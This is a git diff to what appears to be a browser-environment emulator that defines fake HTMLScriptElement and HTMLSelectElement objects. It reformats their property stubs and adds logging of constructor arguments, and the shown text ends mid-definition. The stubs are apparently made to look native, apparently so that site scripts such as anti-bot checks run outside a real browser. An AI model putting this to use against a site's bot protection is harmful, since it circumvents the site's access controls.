-bodavm.memory.globalobj['HTMLScriptElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLScriptElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].undefined, "HTMLScriptElement", "supports", arguments)}}); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "noModule", {configurable:true, enumerable:true, get:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_get", arguments)}, set:function noModule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_get", arguments)}, set:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "async", {configurable:true, enumerable:true, get:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_get", arguments)}, set:function async (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "defer", {configurable:true, enumerable:true, get:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_get", arguments)}, set:function defer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "event", {configurable:true, enumerable:true, get:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_get", arguments)}, set:function event (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_get", arguments)}, set:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLScriptElement', "blocking", {configurable:true, enumerable:true, get:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_get", arguments)}, set:function blocking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_set", arguments)}},'prototype'); +// HTMLScriptElement对象 + +bodavm.memory.globalobj['HTMLScriptElement'] = function HTMLScriptElement() { + console.log_copy('HTMLScriptElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLScriptElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLScriptElement'], "HTMLScriptElement"); +bodavm.memory.globalobj['HTMLScriptElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLScriptElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].undefined, "HTMLScriptElement", "supports", arguments); + } +}); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "noModule", { + configurable: true, + enumerable: true, + get: function noModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_get", arguments); + }, + set: function noModule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "noModule_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "async", { + configurable: true, + enumerable: true, + get: function async() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_get", arguments); + }, + set: function async() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "async_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "defer", { + configurable: true, + enumerable: true, + get: function defer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_get", arguments); + }, + set: function defer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "defer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "event", { + configurable: true, + enumerable: true, + get: function event() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_get", arguments); + }, + set: function event() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "event_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "integrity", { + configurable: true, + enumerable: true, + get: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_get", arguments); + }, + set: function integrity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "integrity_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLScriptElement', "blocking", { + configurable: true, + enumerable: true, + get: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_get", arguments); + }, + set: function blocking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLScriptElement'].prototype, "HTMLScriptElement", "blocking_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLSelectElement.js b/env_xbb_lastest_jsdom/env/HTMLSelectElement.js index 9e1b16f2..37bb2da9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLSelectElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLSelectElement.js @@ -1,29 +1,229 @@ -// HTMLSelectElement对象 -bodavm.memory.globalobj['HTMLSelectElement'] = function HTMLSelectElement(){if (!(this instanceof HTMLSelectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSelectElement'], "HTMLSelectElement"); -bodavm.memory.globalobj['HTMLSelectElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLSelectElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "options_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedOptions", {configurable:true, enumerable:true, get:function selectedOptions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedOptions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_get", arguments)}, set:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "namedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLSelectElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "setCustomValidity", arguments)}},'prototype'); +// HTMLSelectElement对象 + +bodavm.memory.globalobj['HTMLSelectElement'] = function HTMLSelectElement() { + console.log_copy('HTMLSelectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLSelectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLSelectElement'], "HTMLSelectElement"); +bodavm.memory.globalobj['HTMLSelectElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLSelectElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "multiple", { + configurable: true, + enumerable: true, + get: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_get", arguments); + }, + set: function multiple() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "multiple_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "required", { + configurable: true, + enumerable: true, + get: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_get", arguments); + }, + set: function required() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "required_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "options_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "length_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedOptions", { + configurable: true, + enumerable: true, + get: function selectedOptions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedOptions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_get", arguments); + }, + set: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "selectedIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLSelectElement'].prototype, "HTMLSelectElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLSelectElement', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, 